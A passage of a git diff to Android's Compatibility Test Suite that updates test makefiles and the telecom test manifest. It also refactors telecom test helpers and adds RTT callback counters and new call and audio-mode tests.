+
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+// This file is just to ensure that we have some code in the apk.
+public class EmptyTest extends AndroidTestCase {
+  private static final String TAG = "EmptyTest";
+
+  public void testEmpty() {
+    Log.i(TAG, "testEmpty()");
+  }
+}
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 3d95053..15a999a 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 1af6702..83caac9 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 536d2a8..b1c25fa 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 5a8922e..9df78e4 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -24,11 +24,11 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 7231954..3b564ac 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -17,10 +17,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.telecom.cts">
     <uses-sdk android:minSdkVersion="21" />
-    <uses-permission android:name="android.permission.CALL_PHONE" />>
+    <uses-permission android:name="android.permission.CALL_PHONE" />
+    <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
     <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
+
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
 
     <application>
@@ -40,6 +43,13 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
+            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService" />
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.MockInCallService"
             android:permission="android.permission.BIND_INCALL_SERVICE" >
             <intent-filter>
@@ -63,6 +73,13 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+            <intent-filter>
+                <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
+                <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
+            </intent-filter>
+        </receiver>
+
         <activity android:name="android.telecom.cts.MockDialerActivity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 3f3a5a2..93e4c65 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -15,20 +15,18 @@
  */
 
 package android.telecom.cts;
-
-import static android.telecom.cts.TestUtils.*;
+import static android.telecom.cts.TestUtils.PACKAGE;
+import static android.telecom.cts.TestUtils.TAG;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 
 import static org.hamcrest.CoreMatchers.not;
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.junit.Assert.assertThat;
 
-import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.graphics.Color;
 import android.net.Uri;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.telecom.Call;
 import android.telecom.CallAudioState;
 import android.telecom.Conference;
@@ -57,35 +55,23 @@
     public static final int FLAG_REGISTER = 0x1;
     public static final int FLAG_ENABLE = 0x2;
 
-    public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
-            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID);
-
-    public static final PhoneAccount TEST_PHONE_ACCOUNT = PhoneAccount.builder(
-            TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
-            .setAddress(Uri.parse("tel:555-TEST"))
-            .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
-            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
-                    PhoneAccount.CAPABILITY_VIDEO_CALLING |
-                    PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
-            .setHighlightColor(Color.RED)
-            .setShortDescription(ACCOUNT_LABEL)
-            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
-            .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
-            .build();
-
     private static int sCounter = 5549999;
 
     Context mContext;
     TelecomManager mTelecomManager;
 
-    InvokeCounter mOnBringToForegroundCounter;
-    InvokeCounter mOnCallAudioStateChangedCounter;
-    InvokeCounter mOnPostDialWaitCounter;
-    InvokeCounter mOnCannedTextResponsesLoadedCounter;
-    InvokeCounter mOnSilenceRingerCounter;
-    InvokeCounter mOnConnectionEventCounter;
-    InvokeCounter mOnExtrasChangedCounter;
-    InvokeCounter mOnPropertiesChangedCounter;
+    TestUtils.InvokeCounter mOnBringToForegroundCounter;
+    TestUtils.InvokeCounter mOnCallAudioStateChangedCounter;
+    TestUtils.InvokeCounter mOnPostDialWaitCounter;
+    TestUtils.InvokeCounter mOnCannedTextResponsesLoadedCounter;
+    TestUtils.InvokeCounter mOnSilenceRingerCounter;
+    TestUtils.InvokeCounter mOnConnectionEventCounter;
+    TestUtils.InvokeCounter mOnExtrasChangedCounter;
+    TestUtils.InvokeCounter mOnPropertiesChangedCounter;
+    TestUtils.InvokeCounter mOnRttModeChangedCounter;
+    TestUtils.InvokeCounter mOnRttStatusChangedCounter;
+    TestUtils.InvokeCounter mOnRttInitiationFailedCounter;
+    TestUtils.InvokeCounter mOnRttRequestCounter;
     Bundle mPreviousExtras;
     int mPreviousProperties = -1;
 
@@ -101,7 +87,7 @@
         mContext = getInstrumentation().getContext();
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
 
-        mShouldTestTelecom = shouldTestTelecom(mContext);
+        mShouldTestTelecom = TestUtils.shouldTestTelecom(mContext);
         if (mShouldTestTelecom) {
             mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
             TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
@@ -116,7 +102,7 @@
             if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
                 TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
             }
-            tearDownConnectionService(TEST_PHONE_ACCOUNT_HANDLE);
+            tearDownConnectionService(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
             assertMockInCallServiceUnbound();
         }
         super.tearDown();
@@ -130,18 +116,18 @@
             // Generate a vanilla mock connection service, if not provided.
             this.connectionService = new MockConnectionService();
         }
-        CtsConnectionService.setUp(TEST_PHONE_ACCOUNT_HANDLE, this.connectionService);
+        CtsConnectionService.setUp(this.connectionService);
 
         if ((flags & FLAG_REGISTER) != 0) {
-            mTelecomManager.registerPhoneAccount(TEST_PHONE_ACCOUNT);
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
         }
         if ((flags & FLAG_ENABLE) != 0) {
-            TestUtils.enablePhoneAccount(getInstrumentation(), TEST_PHONE_ACCOUNT_HANDLE);
+            TestUtils.enablePhoneAccount(getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
             // Wait till the adb commands have executed and account is enabled in Telecom database.
-            assertPhoneAccountEnabled(TEST_PHONE_ACCOUNT_HANDLE);
+            assertPhoneAccountEnabled(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
         }
 
-        return TEST_PHONE_ACCOUNT;
+        return TestUtils.TEST_PHONE_ACCOUNT;
     }
 
     protected void tearDownConnectionService(PhoneAccountHandle accountHandle) throws Exception {
@@ -246,20 +232,46 @@
                 Log.i(TAG, "onSilenceRinger");
                 mOnSilenceRingerCounter.invoke();
             }
+
+            @Override
+            public void onRttModeChanged(Call call, int mode) {
+                mOnRttModeChangedCounter.invoke(call, mode);
+            }
+
+            @Override
+            public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+                mOnRttStatusChangedCounter.invoke(call, enabled, rttCall);
+            }
+
+            @Override
+            public void onRttRequest(Call call, int id) {
+                mOnRttRequestCounter.invoke(call, id);
+            }
+
+            @Override
+            public void onRttInitiationFailure(Call call, int reason) {
+                mOnRttInitiationFailedCounter.invoke(call, reason);
+            }
+
         };
 
         MockInCallService.setCallbacks(mInCallCallbacks);
 
         // TODO: If more InvokeCounters are added in the future, consider consolidating them into a
         // single Collection.
-        mOnBringToForegroundCounter = new InvokeCounter("OnBringToForeground");
-        mOnCallAudioStateChangedCounter = new InvokeCounter("OnCallAudioStateChanged");
-        mOnPostDialWaitCounter = new InvokeCounter("OnPostDialWait");
-        mOnCannedTextResponsesLoadedCounter = new InvokeCounter("OnCannedTextResponsesLoaded");
-        mOnSilenceRingerCounter = new InvokeCounter("OnSilenceRinger");
-        mOnConnectionEventCounter = new InvokeCounter("OnConnectionEvent");
-        mOnExtrasChangedCounter = new InvokeCounter("OnDetailsChangedCounter");
-        mOnPropertiesChangedCounter = new InvokeCounter("OnPropertiesChangedCounter");
+        mOnBringToForegroundCounter = new TestUtils.InvokeCounter("OnBringToForeground");
+        mOnCallAudioStateChangedCounter = new TestUtils.InvokeCounter("OnCallAudioStateChanged");
+        mOnPostDialWaitCounter = new TestUtils.InvokeCounter("OnPostDialWait");
+        mOnCannedTextResponsesLoadedCounter = new TestUtils.InvokeCounter("OnCannedTextResponsesLoaded");
+        mOnSilenceRingerCounter = new TestUtils.InvokeCounter("OnSilenceRinger");
+        mOnConnectionEventCounter = new TestUtils.InvokeCounter("OnConnectionEvent");
+        mOnExtrasChangedCounter = new TestUtils.InvokeCounter("OnDetailsChangedCounter");
+        mOnPropertiesChangedCounter = new TestUtils.InvokeCounter("OnPropertiesChangedCounter");
+        mOnRttModeChangedCounter = new TestUtils.InvokeCounter("mOnRttModeChangedCounter");
+        mOnRttStatusChangedCounter = new TestUtils.InvokeCounter("mOnRttStatusChangedCounter");
+        mOnRttInitiationFailedCounter =
+                new TestUtils.InvokeCounter("mOnRttInitiationFailedCounter");
+        mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
     }
 
     /**
@@ -277,7 +289,7 @@
             extras = new Bundle();
         }
         extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
-        mTelecomManager.addNewIncomingCall(TEST_PHONE_ACCOUNT_HANDLE, extras);
+        mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
 
         try {
             if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
@@ -513,7 +525,7 @@
         if (extras == null) {
             extras = new Bundle();
         }
-        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_PHONE_ACCOUNT_HANDLE);
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
 
         if (!VideoProfile.isAudioOnly(videoState)) {
             extras.putInt(TelecomManager.EXTRA_START_CALL_WITH_VIDEO_STATE, videoState);
@@ -857,6 +869,27 @@
         );
     }
 
+    /**
+     * Checks all fields of two PhoneAccounts for equality, with the exception of the enabled state.
+     * Should only be called after assertPhoneAccountRegistered when it can be guaranteed
+     * that the PhoneAccount is registered.
+     * @param expected The expected PhoneAccount.
+     * @param actual The actual PhoneAccount.
+     */
+    void assertPhoneAccountEquals(final PhoneAccount expected,
+            final PhoneAccount actual) {
+        assertEquals(expected.getAddress(), actual.getAddress());
+        assertEquals(expected.getAccountHandle(), actual.getAccountHandle());
+        assertEquals(expected.getCapabilities(), actual.getCapabilities());
+        assertTrue(areBundlesEqual(expected.getExtras(), actual.getExtras()));
+        assertEquals(expected.getHighlightColor(), actual.getHighlightColor());
+        assertEquals(expected.getIcon(), actual.getIcon());
+        assertEquals(expected.getLabel(), actual.getLabel());
+        assertEquals(expected.getShortDescription(), actual.getShortDescription());
+        assertEquals(expected.getSubscriptionAddress(), actual.getSubscriptionAddress());
+        assertEquals(expected.getSupportedUriSchemes(), actual.getSupportedUriSchemes());
+    }
+
     void assertPhoneAccountRegistered(final PhoneAccountHandle handle) {
         waitUntilConditionIsTrueOrTimeout(
                 new Condition() {
@@ -895,21 +928,10 @@
     }
 
     void assertCtsConnectionServiceUnbound() {
-        waitUntilConditionIsTrueOrTimeout(
-                new Condition() {
-                    @Override
-                    public Object expected() {
-                        return false;
-                    }
-
-                    @Override
-                    public Object actual() {
-                        return CtsConnectionService.isServiceBound();
-                    }
-                },
-                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                "CtsConnectionService not yet unbound!"
-        );
+        if (CtsConnectionService.isBound()) {
+            assertTrue("CtsConnectionService not yet unbound!",
+                    CtsConnectionService.waitForUnBinding());
+        }
     }
 
     void assertMockInCallServiceUnbound() {
@@ -930,6 +952,42 @@
         );
     }
 
+    void assertIsInCall(boolean isIncall) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return isIncall;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return mTelecomManager.isInCall();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected isInCall to be " + isIncall
+        );
+    }
+
+    void assertIsInManagedCall(boolean isIncall) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return isIncall;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return mTelecomManager.isInManagedCall();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected isInManagedCall to be " + isIncall
+        );
+    }
+
     /**
      * Asserts that a call's properties are as expected.
      *
@@ -1019,84 +1077,6 @@
         void doWork();
     }
 
-    /**
-     * Utility class used to track the number of times a callback was invoked, and the arguments it
-     * was invoked with. This class is prefixed Invoke rather than the more typical Call for
-     * disambiguation purposes.
-     */
-    public static final class InvokeCounter {
-        private final String mName;
-        private final Object mLock = new Object();
-        private final ArrayList<Object[]> mInvokeArgs = new ArrayList<>();
-
-        private int mInvokeCount;
-
-        public InvokeCounter(String callbackName) {
-            mName = callbackName;
-        }
-
-        public void invoke(Object... args) {
-            synchronized (mLock) {
-                mInvokeCount++;
-                mInvokeArgs.add(args);
-                mLock.notifyAll();
-            }
-        }
-
-        public Object[] getArgs(int index) {
-            synchronized (mLock) {
-                return mInvokeArgs.get(index);
-            }
-        }
-
-        public int getInvokeCount() {
-            synchronized (mLock) {
-                return mInvokeCount;
-            }
-        }
-
-        public void waitForCount(int count) {
-            waitForCount(count, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
-        }
-
-        public void waitForCount(int count, long timeoutMillis) {
-            waitForCount(count, timeoutMillis, null);
-        }
-
-        public void waitForCount(long timeoutMillis) {
-             synchronized (mLock) {
-             try {
-                  mLock.wait(timeoutMillis);
-             }catch (InterruptedException ex) {
-                  ex.printStackTrace();
-             }
-           }
-        }
-
-        public void waitForCount(int count, long timeoutMillis, String message) {
-            synchronized (mLock) {
-                final long startTimeMillis = SystemClock.uptimeMillis();
-                while (mInvokeCount < count) {
-                    try {
-                        final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
-                        final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
-                        if (remainingTimeMillis <= 0) {
-                            if (message != null) {
-                                fail(message);
-                            } else {
-                                fail(String.format("Expected %s to be called %d times.", mName,
-                                        count));
-                            }
-                        }
-                        mLock.wait(timeoutMillis);
-                    } catch (InterruptedException ie) {
-                        /* ignore */
-                    }
-                }
-            }
-        }
-    }
-
     public static boolean areBundlesEqual(Bundle extras, Bundle newExtras) {
         if (extras == null || newExtras == null) {
             return extras == newExtras;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index d167249..4c60764 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -18,7 +18,7 @@
 
 import static android.telecom.cts.TestUtils.*;
 
-import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.instanceOf;
 import static org.junit.Assert.assertThat;
 
 import android.graphics.drawable.Icon;
@@ -33,7 +33,6 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.StatusHints;
 import android.telecom.TelecomManager;
-import android.util.Log;
 
 import java.util.Arrays;
 import java.util.List;
@@ -131,7 +130,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getAccountHandle(), is(PhoneAccountHandle.class));
+        assertThat(mCall.getDetails().getAccountHandle(), instanceOf(PhoneAccountHandle.class));
         assertEquals(TEST_PHONE_ACCOUNT_HANDLE, mCall.getDetails().getAccountHandle());
     }
 
@@ -143,7 +142,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getCallCapabilities(), is(Integer.class));
+        assertThat(mCall.getDetails().getCallCapabilities(), instanceOf(Integer.class));
         assertEquals(CALL_CAPABILITIES, mCall.getDetails().getCallCapabilities());
         assertTrue(mCall.getDetails().can(Call.Details.CAPABILITY_HOLD));
         assertTrue(mCall.getDetails().can(Call.Details.CAPABILITY_MUTE));
@@ -248,7 +247,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getCallerDisplayName(), is(String.class));
+        assertThat(mCall.getDetails().getCallerDisplayName(), instanceOf(String.class));
         assertEquals(CALLER_DISPLAY_NAME, mCall.getDetails().getCallerDisplayName());
     }
 
@@ -260,7 +259,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getCallerDisplayNamePresentation(), is(Integer.class));
+        assertThat(mCall.getDetails().getCallerDisplayNamePresentation(), instanceOf(Integer.class));
         assertEquals(CALLER_DISPLAY_NAME_PRESENTATION, mCall.getDetails().getCallerDisplayNamePresentation());
     }
 
@@ -272,7 +271,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getCallProperties(), is(Integer.class));
+        assertThat(mCall.getDetails().getCallProperties(), instanceOf(Integer.class));
 
         assertEquals(CALL_PROPERTIES, mCall.getDetails().getCallProperties());
     }
@@ -285,7 +284,18 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getConnectTimeMillis(), is(Long.class));
+        assertThat(mCall.getDetails().getConnectTimeMillis(), instanceOf(Long.class));
+    }
+
+    /**
+     * Tests whether the getCreationTimeMillis() getter returns the correct object.
+     */
+    public void testCreationTimeMillis() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        assertThat(mCall.getDetails().getCreationTimeMillis(), instanceOf(Long.class));
     }
 
     /**
@@ -296,7 +306,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getDisconnectCause(), is(DisconnectCause.class));
+        assertThat(mCall.getDetails().getDisconnectCause(), instanceOf(DisconnectCause.class));
     }
 
     /**
@@ -308,7 +318,7 @@
         }
 
         if (mCall.getDetails().getExtras() != null) {
-            assertThat(mCall.getDetails().getExtras(), is(Bundle.class));
+            assertThat(mCall.getDetails().getExtras(), instanceOf(Bundle.class));
         }
     }
 
@@ -320,7 +330,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getIntentExtras(), is(Bundle.class));
+        assertThat(mCall.getDetails().getIntentExtras(), instanceOf(Bundle.class));
     }
 
     /**
@@ -332,7 +342,7 @@
         }
 
         if (mCall.getDetails().getGatewayInfo() != null) {
-            assertThat(mCall.getDetails().getGatewayInfo(), is(GatewayInfo.class));
+            assertThat(mCall.getDetails().getGatewayInfo(), instanceOf(GatewayInfo.class));
         }
     }
 
@@ -344,7 +354,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getHandle(), is(Uri.class));
+        assertThat(mCall.getDetails().getHandle(), instanceOf(Uri.class));
         assertEquals(getTestNumber(), mCall.getDetails().getHandle());
     }
 
@@ -356,7 +366,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getHandlePresentation(), is(Integer.class));
+        assertThat(mCall.getDetails().getHandlePresentation(), instanceOf(Integer.class));
         assertEquals(MockConnectionService.CONNECTION_PRESENTATION, mCall.getDetails().getHandlePresentation());
     }
 
@@ -368,7 +378,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getStatusHints(), is(StatusHints.class));
+        assertThat(mCall.getDetails().getStatusHints(), instanceOf(StatusHints.class));
         assertEquals(mStatusHints.getLabel(), mCall.getDetails().getStatusHints().getLabel());
         assertEquals(
                 mStatusHints.getIcon().toString(),
@@ -384,7 +394,7 @@
             return;
         }
 
-        assertThat(mCall.getDetails().getVideoState(), is(Integer.class));
+        assertThat(mCall.getDetails().getVideoState(), instanceOf(Integer.class));
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
index 0704a8d..6985641 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
@@ -136,7 +136,7 @@
 
     private void setupConnectionService() throws Exception {
         mConnectionService = new MockConnectionService();
-        CtsConnectionService.setUp(TEST_PHONE_ACCOUNT_HANDLE, mConnectionService);
+        CtsConnectionService.setUp(mConnectionService);
 
         mTelecomManager.registerPhoneAccount(TEST_PHONE_ACCOUNT);
         TestUtils.enablePhoneAccount(getInstrumentation(), TEST_PHONE_ACCOUNT_HANDLE);
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index deab32f..0b70f1b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -19,17 +19,18 @@
 import static android.telecom.cts.TestUtils.*;
 
 import android.content.ComponentName;
+import android.content.Context;
+import android.media.AudioManager;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.PhoneAccountHandle;
-import android.util.Log;
 
 import java.util.Collection;
-import java.util.concurrent.TimeUnit;
 
 /**
- * Test some additional {@link ConnectionService} APIs not already covered by other tests.
+ * Test some additional {@link ConnectionService} and {@link Connection} APIs not already covered
+ * by other tests.
  */
 public class ConnectionServiceTest extends BaseTelecomTestWithMockServices {
 
@@ -106,6 +107,23 @@
         assertCallState(call, Call.STATE_DIALING);
     }
 
+    public void testVoipAudioModePropagation() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        placeAndVerifyCall();
+        MockConnection connection = verifyConnectionForOutgoingCall();
+        connection.setAudioModeIsVoip(true);
+        waitOnAllHandlers(getInstrumentation());
+
+        AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertEquals(AudioManager.MODE_IN_COMMUNICATION, audioManager.getMode());
+        connection.setAudioModeIsVoip(false);
+        waitOnAllHandlers(getInstrumentation());
+        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+    }
+
     public void testGetAllConnections() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index e820e10..329031a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -30,6 +30,7 @@
 
 import java.util.Collection;
 import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
 
 /**
  * This is the official ConnectionService for Telecom's CTS App. Since telecom requires that a
@@ -44,8 +45,9 @@
  *                     Telecom framework to the test connection service.
  * sTelecomConnectionService: Contains the connection service object registered to the Telecom
  *                            framework. We use this object to forward any communication from the
- *                            test connection service to the Telecom framework.
- *
+ *                            test connection service to the Telecom framework. After Telecom
+ *                            binds to CtsConnectionService, this is set to be the instance of
+ *                            CtsConnectionService created by the framework after Telecom binds.
  */
 public class CtsConnectionService extends ConnectionService {
     private static String LOG_TAG = "CtsConnectionService";
@@ -53,28 +55,18 @@
     private static ConnectionService sConnectionService;
     // This is the connection service registered with Telecom
     private static ConnectionService sTelecomConnectionService;
-    private static boolean mIsServiceBound = false;
+    private static boolean sIsBound = false;
+    private static CountDownLatch sServiceUnBoundLatch = new CountDownLatch(1);
 
     public CtsConnectionService() throws Exception {
         super();
         sTelecomConnectionService = this;
-        // Cant override the onBind method for ConnectionService, so reset it here.
-        mIsServiceBound = true;
+        sIsBound = true;
     }
 
-    // ConnectionService used by default as a fallback if no connection service is specified
-    // during test setup.
-    private static ConnectionService mMockConnectionService = new MockConnectionService();
-
-    /**
-     * Used to control whether the {@link MockVideoProvider} will be created when connections are
-     * created.  Used by {@link VideoCallTest#testVideoCallDelayProvider()} to test scenario where
-     * the {@link MockVideoProvider} is not created immediately when the Connection is created.
-     */
     private static Object sLock = new Object();
 
-    public static void setUp(PhoneAccountHandle phoneAccountHandle,
-            ConnectionService connectionService) throws Exception {
+    public static void setUp(ConnectionService connectionService) throws Exception {
         synchronized(sLock) {
             if (sConnectionService != null) {
                 throw new Exception("Mock ConnectionService exists.  Failed to call tearDown().");
@@ -98,8 +90,7 @@
                 return sConnectionService.onCreateOutgoingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
-                return mMockConnectionService.onCreateOutgoingConnection(
-                        connectionManagerPhoneAccount, request);
+                return null;
             }
         }
     }
@@ -112,8 +103,7 @@
                 return sConnectionService.onCreateIncomingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
-                return mMockConnectionService.onCreateIncomingConnection(
-                        connectionManagerPhoneAccount, request);
+                return null;
             }
         }
     }
@@ -123,8 +113,6 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConference(connection1, connection2);
-            } else {
-                mMockConnectionService.onConference(connection1, connection2);
             }
         }
     }
@@ -134,8 +122,6 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onRemoteExistingConnectionAdded(connection);
-            } else {
-                mMockConnectionService.onRemoteExistingConnectionAdded(connection);
             }
         }
     }
@@ -185,8 +171,6 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onRemoteConferenceAdded(conference);
-            } else {
-                mMockConnectionService.onRemoteConferenceAdded(conference);
             }
         }
     }
@@ -194,16 +178,22 @@
     @Override
     public boolean onUnbind(Intent intent) {
         Log.i(LOG_TAG, "Service has been unbound");
-        assertTrue(mIsServiceBound);
-        mIsServiceBound = false;
+        sServiceUnBoundLatch.countDown();
+        sIsBound = false;
+        sConnectionService = null;
         return super.onUnbind(intent);
     }
 
-    public static boolean isServiceBound() {
-        return mIsServiceBound;
-    }
-
     public static boolean isServiceRegisteredToTelecom() {
         return sTelecomConnectionService != null;
     }
+
+    public static boolean isBound() {
+        return sIsBound;
+    }
+
+    public static boolean waitForUnBinding() {
+        sServiceUnBoundLatch = TestUtils.waitForLock(sServiceUnBoundLatch);
+        return sServiceUnBoundLatch != null;
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java
new file mode 100644
index 0000000..fada275
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
